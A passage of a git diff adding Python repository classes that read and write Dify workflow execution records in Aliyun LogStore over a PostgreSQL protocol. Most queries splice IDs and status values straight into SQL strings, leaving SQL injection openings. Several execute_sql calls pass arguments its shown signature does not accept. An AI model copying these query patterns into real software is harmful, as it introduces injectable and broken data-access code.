+                        cursor.execute(insert_sql)
+                # Success - exit retry loop
+                return
+
+            except psycopg2.Error as e:
+                # Check if error is retriable
+                if not self._is_retriable_error(e):
+                    # Not a retriable error (e.g., data validation error), fail immediately
+                    logger.exception(
+                        "Failed to put logs to logstore %s via PG protocol (non-retriable error)",
+                        logstore,
+                    )
+                    raise
+
+                # Retriable error - log and retry if we have attempts left
+                if attempt < max_retries - 1:
+                    logger.warning(
+                        "Failed to put logs to logstore %s via PG protocol (attempt %d/%d): %s. Retrying...",
+                        logstore,
+                        attempt + 1,
+                        max_retries,
+                        str(e),
+                    )
+                    time.sleep(retry_delay)
+                    retry_delay *= 2  # Exponential backoff
+                else:
+                    # Last attempt failed
+                    logger.exception(
+                        "Failed to put logs to logstore %s via PG protocol after %d attempts",
+                        logstore,
+                        max_retries,
+                    )
+                    raise
+
+    def execute_sql(self, sql: str, logstore: str, log_enabled: bool = False) -> list[dict[str, Any]]:
+        """
+        Execute SQL query using PostgreSQL protocol with automatic retry.
+
+        Args:
+            sql: SQL query string
+            logstore: Name of the logstore (for logging purposes)
+            log_enabled: Whether to enable logging
+
+        Returns:
+            List of result rows as dictionaries
+
+        Raises:
+            psycopg2.Error: If database operation fails after all retries
+        """
+        if log_enabled:
+            logger.info(
+                "[LogStore-PG] EXECUTE_SQL | logstore=%s | project=%s | sql=%s",
+                logstore,
+                self.project_name,
+                sql,
+            )
+
+        # Retry configuration
+        max_retries = 3
+        retry_delay = 0.1  # Start with 100ms
+
+        for attempt in range(max_retries):
+            try:
+                with self._get_connection() as conn:
+                    with conn.cursor() as cursor:
+                        cursor.execute(sql)
+
+                        # Get column names from cursor description
+                        columns = [desc[0] for desc in cursor.description]
+
+                        # Fetch all results and convert to list of dicts
+                        result = []
+                        for row in cursor.fetchall():
+                            row_dict = {}
+                            for col, val in zip(columns, row):
+                                row_dict[col] = "" if val is None else str(val)
+                            result.append(row_dict)
+
+                        if log_enabled:
+                            logger.info(
+                                "[LogStore-PG] EXECUTE_SQL RESULT | logstore=%s | returned_count=%d",
+                                logstore,
+                                len(result),
+                            )
+
+                        return result
+
+            except psycopg2.Error as e:
+                # Check if error is retriable
+                if not self._is_retriable_error(e):
+                    # Not a retriable error (e.g., SQL syntax error), fail immediately
+                    logger.exception(
+                        "Failed to execute SQL query on logstore %s via PG protocol (non-retriable error): sql=%s",
+                        logstore,
+                        sql,
+                    )
+                    raise
+
+                # Retriable error - log and retry if we have attempts left
+                if attempt < max_retries - 1:
+                    logger.warning(
+                        "Failed to execute SQL query on logstore %s via PG protocol (attempt %d/%d): %s. Retrying...",
+                        logstore,
+                        attempt + 1,
+                        max_retries,
+                        str(e),
+                    )
+                    time.sleep(retry_delay)
+                    retry_delay *= 2  # Exponential backoff
+                else:
+                    # Last attempt failed
+                    logger.exception(
+                        "Failed to execute SQL query on logstore %s via PG protocol after %d attempts: sql=%s",
+                        logstore,
+                        max_retries,
+                        sql,
+                    )
+                    raise
+
+        # This line should never be reached due to raise above, but makes type checker happy
+        return []
diff --git a/api/extensions/logstore/repositories/__init__.py b/api/extensions/logstore/repositories/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/api/extensions/logstore/repositories/logstore_api_workflow_node_execution_repository.py b/api/extensions/logstore/repositories/logstore_api_workflow_node_execution_repository.py
new file mode 100644
index 0000000000..8c804d6bb5
--- /dev/null
+++ b/api/extensions/logstore/repositories/logstore_api_workflow_node_execution_repository.py
@@ -0,0 +1,365 @@
+"""
+LogStore implementation of DifyAPIWorkflowNodeExecutionRepository.
+
+This module provides the LogStore-based implementation for service-layer
+WorkflowNodeExecutionModel operations using Aliyun SLS LogStore.
+"""
+
+import logging
+import time
+from collections.abc import Sequence
+from datetime import datetime
+from typing import Any
+
+from sqlalchemy.orm import sessionmaker
+
+from extensions.logstore.aliyun_logstore import AliyunLogStore
+from models.workflow import WorkflowNodeExecutionModel
+from repositories.api_workflow_node_execution_repository import DifyAPIWorkflowNodeExecutionRepository
+
+logger = logging.getLogger(__name__)
+
+
+def _dict_to_workflow_node_execution_model(data: dict[str, Any]) -> WorkflowNodeExecutionModel:
+    """
+    Convert LogStore result dictionary to WorkflowNodeExecutionModel instance.
+
+    Args:
+        data: Dictionary from LogStore query result
+
+    Returns:
+        WorkflowNodeExecutionModel instance (detached from session)
+
+    Note:
+        The returned model is not attached to any SQLAlchemy session.
+        Relationship fields (like offload_data) are not loaded from LogStore.
+    """
+    logger.debug("_dict_to_workflow_node_execution_model: data keys=%s", list(data.keys())[:5])
+    # Create model instance without session
+    model = WorkflowNodeExecutionModel()
+
+    # Map all required fields with validation
+    # Critical fields - must not be None
+    model.id = data.get("id") or ""
+    model.tenant_id = data.get("tenant_id") or ""
+    model.app_id = data.get("app_id") or ""
+    model.workflow_id = data.get("workflow_id") or ""
+    model.triggered_from = data.get("triggered_from") or ""
+    model.node_id = data.get("node_id") or ""
+    model.node_type = data.get("node_type") or ""
+    model.status = data.get("status") or "running"  # Default status if missing
+    model.title = data.get("title") or ""
+    model.created_by_role = data.get("created_by_role") or ""
+    model.created_by = data.get("created_by") or ""
+
+    # Numeric fields with defaults
+    model.index = int(data.get("index", 0))
+    model.elapsed_time = float(data.get("elapsed_time", 0))
+
+    # Optional fields
+    model.workflow_run_id = data.get("workflow_run_id")
+    model.predecessor_node_id = data.get("predecessor_node_id")
+    model.node_execution_id = data.get("node_execution_id")
+    model.inputs = data.get("inputs")
+    model.process_data = data.get("process_data")
+    model.outputs = data.get("outputs")
+    model.error = data.get("error")
+    model.execution_metadata = data.get("execution_metadata")
+
+    # Handle datetime fields
+    created_at = data.get("created_at")
+    if created_at:
+        if isinstance(created_at, str):
+            model.created_at = datetime.fromisoformat(created_at)
+        elif isinstance(created_at, (int, float)):
+            model.created_at = datetime.fromtimestamp(created_at)
+        else:
+            model.created_at = created_at
+    else:
+        # Provide default created_at if missing
+        model.created_at = datetime.now()
+
+    finished_at = data.get("finished_at")
+    if finished_at:
+        if isinstance(finished_at, str):
+            model.finished_at = datetime.fromisoformat(finished_at)
+        elif isinstance(finished_at, (int, float)):
+            model.finished_at = datetime.fromtimestamp(finished_at)
+        else:
+            model.finished_at = finished_at
+
+    return model
+
+
+class LogstoreAPIWorkflowNodeExecutionRepository(DifyAPIWorkflowNodeExecutionRepository):
+    """
+    LogStore implementation of DifyAPIWorkflowNodeExecutionRepository.
+
+    Provides service-layer database operations for WorkflowNodeExecutionModel
+    using LogStore SQL queries with optimized deduplication strategies.
+    """
+
+    def __init__(self, session_maker: sessionmaker | None = None):
+        """
+        Initialize the repository with LogStore client.
+
+        Args:
+            session_maker: SQLAlchemy sessionmaker (unused, for compatibility with factory pattern)
+        """
+        logger.debug("LogstoreAPIWorkflowNodeExecutionRepository.__init__: initializing")
+        self.logstore_client = AliyunLogStore()
+
+    def get_node_last_execution(
+        self,
+        tenant_id: str,
+        app_id: str,
+        workflow_id: str,
+        node_id: str,
+    ) -> WorkflowNodeExecutionModel | None:
+        """
+        Get the most recent execution for a specific node.
+
+        Uses query syntax to get raw logs and selects the one with max log_version.
+        Returns the most recent execution ordered by created_at.
+        """
+        logger.debug(
+            "get_node_last_execution: tenant_id=%s, app_id=%s, workflow_id=%s, node_id=%s",
+            tenant_id,
+            app_id,
+            workflow_id,
+            node_id,
+        )
+        try:
+            # Check if PG protocol is supported
+            if self.logstore_client.supports_pg_protocol:
+                # Use PG protocol with SQL query (get latest version of each record)
+                sql_query = f"""
+                    SELECT * FROM (
+                        SELECT *, 
+                            ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) as rn
+                        FROM "{AliyunLogStore.workflow_node_execution_logstore}"
+                        WHERE tenant_id = '{tenant_id}' 
+                          AND app_id = '{app_id}' 
+                          AND workflow_id = '{workflow_id}' 
+                          AND node_id = '{node_id}'
+                          AND __time__ > 0
+                    ) AS subquery WHERE rn = 1
+                    LIMIT 100
+                """
+                results = self.logstore_client.execute_sql(
+                    sql=sql_query,
+                    logstore=AliyunLogStore.workflow_node_execution_logstore,
+                )
+            else:
+                # Use SDK with LogStore query syntax
+                query = (
+                    f"tenant_id: {tenant_id} and app_id: {app_id} and workflow_id: {workflow_id} and node_id: {node_id}"
+                )
+                from_time = 0
+                to_time = int(time.time())  # now
+
+                results = self.logstore_client.get_logs(
+                    logstore=AliyunLogStore.workflow_node_execution_logstore,
+                    from_time=from_time,
+                    to_time=to_time,
+                    query=query,
+                    line=100,
+                    reverse=False,
+                )
+
+            if not results:
+                return None
+
+            # For SDK mode, group by id and select the one with max log_version for each group
+            # For PG mode, this is already done by the SQL query
+            if not self.logstore_client.supports_pg_protocol:
+                id_to_results: dict[str, list[dict[str, Any]]] = {}
+                for row in results:
+                    row_id = row.get("id")
+                    if row_id:
+                        if row_id not in id_to_results:
+                            id_to_results[row_id] = []
+                        id_to_results[row_id].append(row)
+
+                # For each id, select the row with max log_version
+                deduplicated_results = []
+                for rows in id_to_results.values():
+                    if len(rows) > 1:
+                        max_row = max(rows, key=lambda x: int(x.get("log_version", 0)))
+                    else:
+                        max_row = rows[0]
+                    deduplicated_results.append(max_row)
+            else:
+                # For PG mode, results are already deduplicated by the SQL query
+                deduplicated_results = results
+
+            # Sort by created_at DESC and return the most recent one
+            deduplicated_results.sort(
+                key=lambda x: x.get("created_at", 0) if isinstance(x.get("created_at"), (int, float)) else 0,
+                reverse=True,
+            )
+
+            if deduplicated_results:
+                return _dict_to_workflow_node_execution_model(deduplicated_results[0])
+
+            return None
+
+        except Exception:
+            logger.exception("Failed to get node last execution from LogStore")
+            raise
+
+    def get_executions_by_workflow_run(
+        self,
+        tenant_id: str,
+        app_id: str,
+        workflow_run_id: str,
+    ) -> Sequence[WorkflowNodeExecutionModel]:
+        """
+        Get all node executions for a specific workflow run.
+
+        Uses query syntax to get raw logs and selects the one with max log_version for each node execution.
+        Ordered by index DESC for trace visualization.
+        """
+        logger.debug(
+            "[LogStore] get_executions_by_workflow_run: tenant_id=%s, app_id=%s, workflow_run_id=%s",
+            tenant_id,
+            app_id,
+            workflow_run_id,
+        )
+        try:
+            # Check if PG protocol is supported
+            if self.logstore_client.supports_pg_protocol:
+                # Use PG protocol with SQL query (get latest version of each record)
+                sql_query = f"""
+                    SELECT * FROM (
+                        SELECT *, 
+                            ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) as rn
+                        FROM "{AliyunLogStore.workflow_node_execution_logstore}"
+                        WHERE tenant_id = '{tenant_id}' 
+                          AND app_id = '{app_id}' 
+                          AND workflow_run_id = '{workflow_run_id}'
+                          AND __time__ > 0
+                    ) AS subquery WHERE rn = 1
+                    LIMIT 1000
+                """
+                results = self.logstore_client.execute_sql(
+                    sql=sql_query,
+                    logstore=AliyunLogStore.workflow_node_execution_logstore,
+                )
+            else:
+                # Use SDK with LogStore query syntax
+                query = f"tenant_id: {tenant_id} and app_id: {app_id} and workflow_run_id: {workflow_run_id}"
+                from_time = 0
+                to_time = int(time.time())  # now
+
+                results = self.logstore_client.get_logs(
+                    logstore=AliyunLogStore.workflow_node_execution_logstore,
+                    from_time=from_time,
+                    to_time=to_time,
+                    query=query,
+                    line=1000,  # Get more results for node executions
+                    reverse=False,
+                )
+
+            if not results:
+                return []
+
+            # For SDK mode, group by id and select the one with max log_version for each group
+            # For PG mode, this is already done by the SQL query
+            models = []
+            if not self.logstore_client.supports_pg_protocol:
+                id_to_results: dict[str, list[dict[str, Any]]] = {}
+                for row in results:
+                    row_id = row.get("id")
+                    if row_id:
+                        if row_id not in id_to_results:
+                            id_to_results[row_id] = []
+                        id_to_results[row_id].append(row)
+
+                # For each id, select the row with max log_version
+                for rows in id_to_results.values():
+                    if len(rows) > 1:
+                        max_row = max(rows, key=lambda x: int(x.get("log_version", 0)))
+                    else:
+                        max_row = rows[0]
+
+                    model = _dict_to_workflow_node_execution_model(max_row)
+                    if model and model.id:  # Ensure model is valid
+                        models.append(model)
+            else:
+                # For PG mode, results are already deduplicated by the SQL query
+                for row in results:
+                    model = _dict_to_workflow_node_execution_model(row)
+                    if model and model.id:  # Ensure model is valid
+                        models.append(model)
+
+            # Sort by index DESC for trace visualization
+            models.sort(key=lambda x: x.index, reverse=True)
+
+            return models
+
+        except Exception:
+            logger.exception("Failed to get executions by workflow run from LogStore")
+            raise
+
+    def get_execution_by_id(
+        self,
+        execution_id: str,
+        tenant_id: str | None = None,
+    ) -> WorkflowNodeExecutionModel | None:
+        """
+        Get a workflow node execution by its ID.
+        Uses query syntax to get raw logs and selects the one with max log_version.
+        """
+        logger.debug("get_execution_by_id: execution_id=%s, tenant_id=%s", execution_id, tenant_id)
+        try:
+            # Check if PG protocol is supported
+            if self.logstore_client.supports_pg_protocol:
+                # Use PG protocol with SQL query (get latest version of record)
+                tenant_filter = f"AND tenant_id = '{tenant_id}'" if tenant_id else ""
+                sql_query = f"""
+                    SELECT * FROM (
+                        SELECT *, 
+                            ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) as rn
+                        FROM "{AliyunLogStore.workflow_node_execution_logstore}"
+                        WHERE id = '{execution_id}' {tenant_filter} AND __time__ > 0
+                    ) AS subquery WHERE rn = 1
+                    LIMIT 1
+                """
+                results = self.logstore_client.execute_sql(
+                    sql=sql_query,
+                    logstore=AliyunLogStore.workflow_node_execution_logstore,
+                )
+            else:
+                # Use SDK with LogStore query syntax
+                if tenant_id:
+                    query = f"id: {execution_id} and tenant_id: {tenant_id}"
+                else:
+                    query = f"id: {execution_id}"
+
+                from_time = 0
+                to_time = int(time.time())  # now
+
+                results = self.logstore_client.get_logs(
+                    logstore=AliyunLogStore.workflow_node_execution_logstore,
+                    from_time=from_time,
+                    to_time=to_time,
+                    query=query,
+                    line=100,
+                    reverse=False,
+                )
+
+            if not results:
+                return None
+
+            # For PG mode, result is already the latest version
+            # For SDK mode, if multiple results, select the one with max log_version
+            if self.logstore_client.supports_pg_protocol or len(results) == 1:
+                return _dict_to_workflow_node_execution_model(results[0])
+            else:
+                max_result = max(results, key=lambda x: int(x.get("log_version", 0)))
+                return _dict_to_workflow_node_execution_model(max_result)
+
+        except Exception:
+            logger.exception("Failed to get execution by ID from LogStore: execution_id=%s", execution_id)
+            raise
diff --git a/api/extensions/logstore/repositories/logstore_api_workflow_run_repository.py b/api/extensions/logstore/repositories/logstore_api_workflow_run_repository.py
new file mode 100644
index 0000000000..252cdcc4df
--- /dev/null
+++ b/api/extensions/logstore/repositories/logstore_api_workflow_run_repository.py
@@ -0,0 +1,757 @@
+"""
+LogStore API WorkflowRun Repository Implementation
+
+This module provides the LogStore-based implementation of the APIWorkflowRunRepository
+protocol. It handles service-layer WorkflowRun database operations using Aliyun SLS LogStore
+with optimized queries for statistics and pagination.
+
+Key Features:
+- LogStore SQL queries for aggregation and statistics
+- Optimized deduplication using finished_at IS NOT NULL filter
+- Window functions only when necessary (running status queries)
+- Multi-tenant data isolation and security
+"""
+
+import logging
+import os
+import time
+from collections.abc import Sequence
+from datetime import datetime
+from typing import Any, cast
+
+from sqlalchemy.orm import sessionmaker
+
+from extensions.logstore.aliyun_logstore import AliyunLogStore
+from libs.infinite_scroll_pagination import InfiniteScrollPagination
+from models.enums import WorkflowRunTriggeredFrom
+from models.workflow import WorkflowRun
+from repositories.api_workflow_run_repository import APIWorkflowRunRepository
+from repositories.types import (
+    AverageInteractionStats,
+    DailyRunsStats,
+    DailyTerminalsStats,
+    DailyTokenCostStats,
+)
+
+logger = logging.getLogger(__name__)
+
+
+def _dict_to_workflow_run(data: dict[str, Any]) -> WorkflowRun:
+    """
+    Convert LogStore result dictionary to WorkflowRun instance.
+
+    Args:
+        data: Dictionary from LogStore query result
+
+    Returns:
+        WorkflowRun instance
+    """
+    logger.debug("_dict_to_workflow_run: data keys=%s", list(data.keys())[:5])
+    # Create model instance without session
+    model = WorkflowRun()
+
+    # Map all required fields with validation
+    # Critical fields - must not be None
+    model.id = data.get("id") or ""
+    model.tenant_id = data.get("tenant_id") or ""
+    model.app_id = data.get("app_id") or ""
+    model.workflow_id = data.get("workflow_id") or ""
+    model.type = data.get("type") or ""
+    model.triggered_from = data.get("triggered_from") or ""
+    model.version = data.get("version") or ""
+    model.status = data.get("status") or "running"  # Default status if missing
+    model.created_by_role = data.get("created_by_role") or ""
+    model.created_by = data.get("created_by") or ""
+
+    # Numeric fields with defaults
+    model.total_tokens = int(data.get("total_tokens", 0))
+    model.total_steps = int(data.get("total_steps", 0))
+    model.exceptions_count = int(data.get("exceptions_count", 0))
+
+    # Optional fields
+    model.graph = data.get("graph")
+    model.inputs = data.get("inputs")
+    model.outputs = data.get("outputs")
+    model.error = data.get("error_message") or data.get("error")
+
+    # Handle datetime fields
+    started_at = data.get("started_at") or data.get("created_at")
+    if started_at:
+        if isinstance(started_at, str):
+            model.created_at = datetime.fromisoformat(started_at)
+        elif isinstance(started_at, (int, float)):
+            model.created_at = datetime.fromtimestamp(started_at)
+        else:
+            model.created_at = started_at
+    else:
+        # Provide default created_at if missing
+        model.created_at = datetime.now()
+
+    finished_at = data.get("finished_at")
+    if finished_at:
+        if isinstance(finished_at, str):
+            model.finished_at = datetime.fromisoformat(finished_at)
+        elif isinstance(finished_at, (int, float)):
+            model.finished_at = datetime.fromtimestamp(finished_at)
+        else:
+            model.finished_at = finished_at
+
+    # Compute elapsed_time from started_at and finished_at
+    # LogStore doesn't store elapsed_time, it's computed in WorkflowExecution domain entity
+    if model.finished_at and model.created_at:
+        model.elapsed_time = (model.finished_at - model.created_at).total_seconds()
+    else:
+        model.elapsed_time = float(data.get("elapsed_time", 0))
+
+    return model
+
+
+class LogstoreAPIWorkflowRunRepository(APIWorkflowRunRepository):
+    """
+    LogStore implementation of APIWorkflowRunRepository.
+
+    Provides service-layer WorkflowRun database operations using LogStore SQL
+    with optimized query strategies:
+    - Use finished_at IS NOT NULL for deduplication (10-100x faster)
+    - Use window functions only when running status is required
+    - Proper time range filtering for LogStore queries
+    """
+
+    def __init__(self, session_maker: sessionmaker | None = None):
+        """
+        Initialize the repository with LogStore client.
+
+        Args:
+            session_maker: SQLAlchemy sessionmaker (unused, for compatibility with factory pattern)
+        """
+        logger.debug("LogstoreAPIWorkflowRunRepository.__init__: initializing")
+        self.logstore_client = AliyunLogStore()
+
+        # Control flag for dual-read (fallback to PostgreSQL when LogStore returns no results)
+        # Set to True to enable fallback for safe migration from PostgreSQL to LogStore
+        # Set to False for new deployments without legacy data in PostgreSQL
+        self._enable_dual_read = os.environ.get("LOGSTORE_DUAL_READ_ENABLED", "true").lower() == "true"
+
+    def get_paginated_workflow_runs(
+        self,
+        tenant_id: str,
+        app_id: str,
+        triggered_from: WorkflowRunTriggeredFrom | Sequence[WorkflowRunTriggeredFrom],
+        limit: int = 20,
+        last_id: str | None = None,
+        status: str | None = None,
+    ) -> InfiniteScrollPagination:
+        """
+        Get paginated workflow runs with filtering.
+
+        Uses window function for deduplication to support both running and finished states.
+
+        Args:
+            tenant_id: Tenant identifier for multi-tenant isolation
+            app_id: Application identifier
+            triggered_from: Filter by trigger source(s)
+            limit: Maximum number of records to return (default: 20)
+            last_id: Cursor for pagination - ID of the last record from previous page
+            status: Optional filter by status
+
+        Returns:
+            InfiniteScrollPagination object
+        """
+        logger.debug(
+            "get_paginated_workflow_runs: tenant_id=%s, app_id=%s, limit=%d, status=%s",
+            tenant_id,
+            app_id,
+            limit,
+            status,
+        )
+        # Convert triggered_from to list if needed
+        if isinstance(triggered_from, WorkflowRunTriggeredFrom):
+            triggered_from_list = [triggered_from]
+        else:
+            triggered_from_list = list(triggered_from)
+
+        # Build triggered_from filter
+        triggered_from_filter = " OR ".join([f"triggered_from='{tf.value}'" for tf in triggered_from_list])
+
+        # Build status filter
+        status_filter = f"AND status='{status}'" if status else ""
+
+        # Build last_id filter for pagination
+        # Note: This is simplified. In production, you'd need to track created_at from last record
+        last_id_filter = ""
+        if last_id:
+            # TODO: Implement proper cursor-based pagination with created_at
+            logger.warning("last_id pagination not fully implemented for LogStore")
+
+        # Use window function to get latest log_version of each workflow run
+        sql = f"""
+            SELECT * FROM (
+                SELECT *, ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) AS rn
+                FROM {AliyunLogStore.workflow_execution_logstore}
+                WHERE tenant_id='{tenant_id}'
+                  AND app_id='{app_id}'
+                  AND ({triggered_from_filter})
+                  {status_filter}
+                  {last_id_filter}
+            ) t
+            WHERE rn = 1
+            ORDER BY created_at DESC
+            LIMIT {limit + 1}
+        """
+
+        try:
+            results = self.logstore_client.execute_sql(
+                sql=sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore, from_time=None, to_time=None
+            )
+
+            # Check if there are more records
+            has_more = len(results) > limit
+            if has_more:
+                results = results[:limit]
+
+            # Convert results to WorkflowRun models
+            workflow_runs = [_dict_to_workflow_run(row) for row in results]
+            return InfiniteScrollPagination(data=workflow_runs, limit=limit, has_more=has_more)
+
+        except Exception:
+            logger.exception("Failed to get paginated workflow runs from LogStore")
+            raise
+
+    def get_workflow_run_by_id(
+        self,
+        tenant_id: str,
+        app_id: str,
+        run_id: str,
+    ) -> WorkflowRun | None:
+        """
+        Get a specific workflow run by ID with tenant and app isolation.
+
+        Uses query syntax to get raw logs and selects the one with max log_version in code.
+        Falls back to PostgreSQL if not found in LogStore (for data consistency during migration).
+        """
+        logger.debug("get_workflow_run_by_id: tenant_id=%s, app_id=%s, run_id=%s", tenant_id, app_id, run_id)
+
+        try:
+            # Check if PG protocol is supported
+            if self.logstore_client.supports_pg_protocol:
+                # Use PG protocol with SQL query (get latest version of record)
+                sql_query = f"""
+                    SELECT * FROM (
+                        SELECT *, 
+                            ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) as rn
+                        FROM "{AliyunLogStore.workflow_execution_logstore}"
+                        WHERE id = '{run_id}' AND tenant_id = '{tenant_id}' AND app_id = '{app_id}' AND __time__ > 0
+                    ) AS subquery WHERE rn = 1
+                    LIMIT 100
+                """
+                results = self.logstore_client.execute_sql(
+                    sql=sql_query,
+                    logstore=AliyunLogStore.workflow_execution_logstore,
+                )
+            else:
+                # Use SDK with LogStore query syntax
+                query = f"id: {run_id} and tenant_id: {tenant_id} and app_id: {app_id}"
+                from_time = 0
+                to_time = int(time.time())  # now
+
+                results = self.logstore_client.get_logs(
+                    logstore=AliyunLogStore.workflow_execution_logstore,
+                    from_time=from_time,
+                    to_time=to_time,
+                    query=query,
+                    line=100,
+                    reverse=False,
+                )
+
+            if not results:
+                # Fallback to PostgreSQL for records created before LogStore migration
+                if self._enable_dual_read:
+                    logger.debug(
+                        "WorkflowRun not found in LogStore, falling back to PostgreSQL: "
+                        "run_id=%s, tenant_id=%s, app_id=%s",
+                        run_id,
+                        tenant_id,
+                        app_id,
+                    )
+                    return self._fallback_get_workflow_run_by_id_with_tenant(run_id, tenant_id, app_id)
+                return None
+
+            # For PG mode, results are already deduplicated by the SQL query
+            # For SDK mode, if multiple results, select the one with max log_version
+            if self.logstore_client.supports_pg_protocol or len(results) == 1:
+                return _dict_to_workflow_run(results[0])
+            else:
+                max_result = max(results, key=lambda x: int(x.get("log_version", 0)))
+                return _dict_to_workflow_run(max_result)
+
+        except Exception:
+            logger.exception("Failed to get workflow run by ID from LogStore: run_id=%s", run_id)
+            # Try PostgreSQL fallback on any error (only if dual-read is enabled)
+            if self._enable_dual_read:
+                try:
+                    return self._fallback_get_workflow_run_by_id_with_tenant(run_id, tenant_id, app_id)
+                except Exception:
+                    logger.exception(
+                        "PostgreSQL fallback also failed: run_id=%s, tenant_id=%s, app_id=%s", run_id, tenant_id, app_id
+                    )
+            raise
+
+    def _fallback_get_workflow_run_by_id_with_tenant(
+        self, run_id: str, tenant_id: str, app_id: str
+    ) -> WorkflowRun | None:
+        """Fallback to PostgreSQL query for records not in LogStore (with tenant isolation)."""
+        from sqlalchemy import select
+        from sqlalchemy.orm import Session
+
+        from extensions.ext_database import db
+
+        with Session(db.engine) as session:
+            stmt = select(WorkflowRun).where(
+                WorkflowRun.id == run_id, WorkflowRun.tenant_id == tenant_id, WorkflowRun.app_id == app_id
+            )
+            return session.scalar(stmt)
+
+    def get_workflow_run_by_id_without_tenant(
+        self,
+        run_id: str,
+    ) -> WorkflowRun | None:
+        """
+        Get a specific workflow run by ID without tenant/app context.
+        Uses query syntax to get raw logs and selects the one with max log_version.
+        Falls back to PostgreSQL if not found in LogStore (controlled by LOGSTORE_DUAL_READ_ENABLED).
+        """
+        logger.debug("get_workflow_run_by_id_without_tenant: run_id=%s", run_id)
+
+        try:
+            # Check if PG protocol is supported
+            if self.logstore_client.supports_pg_protocol:
+                # Use PG protocol with SQL query (get latest version of record)
+                sql_query = f"""
+                    SELECT * FROM (
+                        SELECT *, 
+                            ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) as rn
+                        FROM "{AliyunLogStore.workflow_execution_logstore}"
+                        WHERE id = '{run_id}' AND __time__ > 0
+                    ) AS subquery WHERE rn = 1
+                    LIMIT 100
+                """
+                results = self.logstore_client.execute_sql(
+                    sql=sql_query,
+                    logstore=AliyunLogStore.workflow_execution_logstore,
+                )
+            else:
+                # Use SDK with LogStore query syntax
+                query = f"id: {run_id}"
+                from_time = 0
+                to_time = int(time.time())  # now
+
+                results = self.logstore_client.get_logs(
+                    logstore=AliyunLogStore.workflow_execution_logstore,
+                    from_time=from_time,
+                    to_time=to_time,
+                    query=query,
+                    line=100,
+                    reverse=False,
+                )
+
+            if not results:
+                # Fallback to PostgreSQL for records created before LogStore migration
+                if self._enable_dual_read:
+                    logger.debug("WorkflowRun not found in LogStore, falling back to PostgreSQL: run_id=%s", run_id)
+                    return self._fallback_get_workflow_run_by_id(run_id)
+                return None
+
+            # For PG mode, results are already deduplicated by the SQL query
+            # For SDK mode, if multiple results, select the one with max log_version
+            if self.logstore_client.supports_pg_protocol or len(results) == 1:
+                return _dict_to_workflow_run(results[0])
+            else:
+                max_result = max(results, key=lambda x: int(x.get("log_version", 0)))
+                return _dict_to_workflow_run(max_result)
+
+        except Exception:
+            logger.exception("Failed to get workflow run without tenant: run_id=%s", run_id)
+            # Try PostgreSQL fallback on any error (only if dual-read is enabled)
+            if self._enable_dual_read:
+                try:
+                    return self._fallback_get_workflow_run_by_id(run_id)
+                except Exception:
+                    logger.exception("PostgreSQL fallback also failed: run_id=%s", run_id)
+            raise
+
+    def _fallback_get_workflow_run_by_id(self, run_id: str) -> WorkflowRun | None:
+        """Fallback to PostgreSQL query for records not in LogStore."""
+        from sqlalchemy import select
+        from sqlalchemy.orm import Session
+
+        from extensions.ext_database import db
+
+        with Session(db.engine) as session:
+            stmt = select(WorkflowRun).where(WorkflowRun.id == run_id)
+            return session.scalar(stmt)
+
+    def get_workflow_runs_count(
+        self,
+        tenant_id: str,
+        app_id: str,
+        triggered_from: str,
+        status: str | None = None,
+        time_range: str | None = None,
+    ) -> dict[str, int]:
+        """
+        Get workflow runs count statistics grouped by status.
+
+        Optimization: Use finished_at IS NOT NULL for completed runs (10-50x faster)
+        """
+        logger.debug(
+            "get_workflow_runs_count: tenant_id=%s, app_id=%s, triggered_from=%s, status=%s",
+            tenant_id,
+            app_id,
+            triggered_from,
+            status,
+        )
+        # Build time range filter
+        time_filter = ""
+        if time_range:
+            # TODO: Parse time_range and convert to from_time/to_time
+            logger.warning("time_range filter not implemented")
+
+        # If status is provided, simple count
+        if status:
+            if status == "running":
+                # Running status requires window function
+                sql = f"""
+                    SELECT COUNT(*) as count
+                    FROM (
+                        SELECT *, ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) AS rn
+                        FROM {AliyunLogStore.workflow_execution_logstore}
+                        WHERE tenant_id='{tenant_id}'
+                          AND app_id='{app_id}'
+                          AND triggered_from='{triggered_from}'
+                          AND status='running'
+                          {time_filter}
+                    ) t
+                    WHERE rn = 1
+                """
+            else:
+                # Finished status uses optimized filter
+                sql = f"""
+                    SELECT COUNT(DISTINCT id) as count
+                    FROM {AliyunLogStore.workflow_execution_logstore}
+                    WHERE tenant_id='{tenant_id}'
+                      AND app_id='{app_id}'
+                      AND triggered_from='{triggered_from}'
+                      AND status='{status}'
+                      AND finished_at IS NOT NULL
+                      {time_filter}
+                """
+
+            try:
+                results = self.logstore_client.execute_sql(
+                    sql=sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore
+                )
+                count = results[0]["count"] if results and len(results) > 0 else 0
+
+                return {
+                    "total": count,
+                    "running": count if status == "running" else 0,
+                    "succeeded": count if status == "succeeded" else 0,
+                    "failed": count if status == "failed" else 0,
+                    "stopped": count if status == "stopped" else 0,
+                    "partial-succeeded": count if status == "partial-succeeded" else 0,
+                }
+            except Exception:
+                logger.exception("Failed to get workflow runs count")
+                raise
+
+        # No status filter - get counts grouped by status
+        # Use optimized query for finished runs, separate query for running
+        try:
+            # Count finished runs grouped by status
+            finished_sql = f"""
+                SELECT status, COUNT(DISTINCT id) as count
+                FROM {AliyunLogStore.workflow_execution_logstore}
+                WHERE tenant_id='{tenant_id}'
+                  AND app_id='{app_id}'
+                  AND triggered_from='{triggered_from}'
+                  AND finished_at IS NOT NULL
+                  {time_filter}
+                GROUP BY status
+            """
+
+            # Count running runs
+            running_sql = f"""
+                SELECT COUNT(*) as count
+                FROM (
+                    SELECT *, ROW_NUMBER() OVER (PARTITION BY id ORDER BY log_version DESC) AS rn
+                    FROM {AliyunLogStore.workflow_execution_logstore}
+                    WHERE tenant_id='{tenant_id}'
+                      AND app_id='{app_id}'
+                      AND triggered_from='{triggered_from}'
+                      AND status='running'
+                      {time_filter}
+                ) t
+                WHERE rn = 1
+            """
+
+            finished_results = self.logstore_client.execute_sql(
+                sql=finished_sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore
+            )
